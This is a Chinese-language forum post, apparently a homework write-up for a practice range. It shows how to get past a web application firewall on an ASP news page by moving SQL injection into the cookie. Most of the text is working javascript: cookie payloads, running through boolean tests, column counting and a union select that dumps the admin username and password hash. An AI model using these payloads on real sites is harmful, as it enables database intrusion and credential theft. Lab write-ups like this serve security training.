靶场2 绕过WAF 956作业

qq577522448   ·   发表于 2018-08-19 11:12:16   ·   CTF&WP专版

打开靶场点击新闻业看到网站是http://120.203.13.75:8001/shownews.asp?id=171

首先判断能否注入 加and 1=1 发现被拦截

看到这个站为asp的站所以尝试下cookie注入

首先我们用课程上所学的用cookie插入代码javascript:alert(document.cookie="id="+escape("171"));看看他是不是直接request的方式

清除网址栏放入代码javascript:alert(document.cookie="id="+escape("171"));回车,再打开无痕浏览器打开这个http://120.203.13.75:8001/shownews.asp看看是不是显示正常

显示正常然后我们测试下能否注入javascript:alert(document.cookie="id="+escape("171 and 1=1"));和javascript:alert(document.cookie="id="+escape("284 and 1=2"));发现没有拦截 且and 1=1正常 and 1=2不正常,所以是可以注入的

我们现在就可以直接注入了首先javascript:alert(document.cookie="id="+escape("171 order by 你要猜的字段数"));猜出是10个字段

然后我们再来猜表javascript:alert(document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from adnmin"));我们一般猜都会猜admin这个表,被猜中了如下图中有23789

现在我们来猜这个表里的字段名看看有没有我们要的账号密码javascript:alert(document.cookie="id="+escape("171 union select 1,2,3,4,5,6,password,,8,username,10 from admin"));猜中了账号密码出来了,MD5解密后是welcome

打赏我,让我更有动力~

0 条回复   |  直到 2018-8-19 | 1373 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.